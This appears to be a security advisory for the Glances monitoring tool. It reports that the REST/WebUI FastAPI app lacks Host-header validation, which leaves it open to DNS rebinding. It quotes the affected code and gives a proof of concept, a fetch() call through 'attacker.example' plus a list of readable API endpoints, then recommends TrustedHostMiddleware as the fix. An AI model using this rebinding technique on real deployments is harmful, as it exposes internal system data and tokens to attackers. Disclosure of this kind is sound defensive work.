+ "details": "## Summary\n\nGlances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist.\n\nAs a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.\n\nThis is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.\n\n## Details\n\nThe MCP endpoint now has explicit host-based transport security:\n\n```python\n# glances/outputs/glances_mcp.py\nself.mcp_allowed_hosts = [\"localhost\", \"127.0.0.1\"]\n...\nreturn TransportSecuritySettings(\n allowed_hosts=allowed_hosts,\n allowed_origins=allowed_origins,\n)\n```\n\nHowever, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:\n\n```python\n# glances/outputs/glances_restful_api.py\nself._app = FastAPI(default_response_class=GlancesJSONResponse)\n...\nself._app.add_middleware(\n CORSMiddleware,\n allow_origins=config.get_list_value('outputs', 'cors_origins', default=[\"*\"]),\n allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),\n allow_methods=config.get_list_value('outputs', 'cors_methods', default=[\"*\"]),\n allow_headers=config.get_list_value('outputs', 'cors_headers', default=[\"*\"]),\n)\n...\nif self.args.password and self._jwt_handler is not None:\n self._app.include_router(self._token_router())\nself._app.include_router(self._router())\n```\n\nThere is no `TrustedHostMiddleware`, no comparison against the configured bind host, and no allowlist enforcement for HTTP `Host` values on the REST/WebUI surface.\n\nThe default bind configuration also exposes the service on all interfaces:\n\n```python\n# glances/main.py\nparser.add_argument(\n '-B',\n '--bind',\n default='0.0.0.0',\n dest='bind_address',\n help='bind server to the given IPv4/IPv6 address or hostname',\n)\n```\n\nThis combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.\n\nThe token endpoint is also mounted on the same unprotected FastAPI app:\n\n```python\n# glances/outputs/glances_restful_api.py\ndef _token_router(self) -> APIRouter:\n ...\n router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])\n```\n\n## Why This Is Exploitable\n\nIn a DNS rebinding attack:\n\n1. The attacker serves JavaScript from `https://attacker.example`.\n2. The victim visits that page while a Glances instance is reachable on the victim network.\n3. The attacker's DNS for `attacker.example` is rebound from the attacker's server to the Glances IP address.\n4. The victim browser now sends same-origin requests to `https://attacker.example`, but those requests are delivered to Glances.\n5. Because the Glances REST/WebUI app does not validate the `Host` header or enforce an allowed-host policy, it serves the response.\n6. The attacker-controlled JavaScript can read the response as same-origin content.\n\nThe MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.\n\n## Proof of Concept\n\nThis issue is code-validated by inspection of the current implementation:\n\n- REST/WebUI/token are all mounted on a plain `FastAPI(...)` app\n- no `TrustedHostMiddleware` or equivalent host validation is applied\n- default bind is `0.0.0.0`\n- MCP has separate rebinding protection, showing the project already recognizes the threat model\n\nIn a live deployment, the expected verification is:\n\n```bash\n# Victim-accessible Glances service\nglances -w\n\n# Attacker-controlled rebinding domain first resolves to attacker infra,\n# then rebinds to the victim-local Glances IP.\n# After rebind, attacker JS can fetch:\nfetch(\"http://attacker.example:61208/api/4/status\")\n .then(r => r.text())\n .then(console.log)\n```\n\nAnd if the operator exposes Glances without `--password` (supported and common), the attacker can read endpoints such as:\n\n```bash\nGET /api/4/status\nGET /api/4/all\nGET /api/4/config\nGET /api/4/args\nGET /api/4/serverslist\n```\n\nEven on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.\n\n## Impact\n\n- **Remote read of local/internal REST data:** DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.\n- **Bypass of origin-based browser isolation:** Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.\n- **High-value chaining surface:** This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.\n- **Token surface exposure:** The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.\n\n## Recommended Fix\n\nApply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:\n\n```python\nfrom starlette.middleware.trustedhost import TrustedHostMiddleware\n\nallowed_hosts = config.get_list_value(\n 'outputs',\n 'allowed_hosts',\n default=['localhost', '127.0.0.1'],\n)\n\nself._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)\n```\n\nAt minimum:\n\n- reject requests whose `Host` header does not match an explicit allowlist\n- do not rely on `0.0.0.0` bind semantics as an access-control boundary\n- document that reverse-proxy deployments must set a strict host allowlist\n\n## References\n\n- `glances/outputs/glances_mcp.py`\n- `glances/outputs/glances_restful_api.py`\n- `glances/main.py`",
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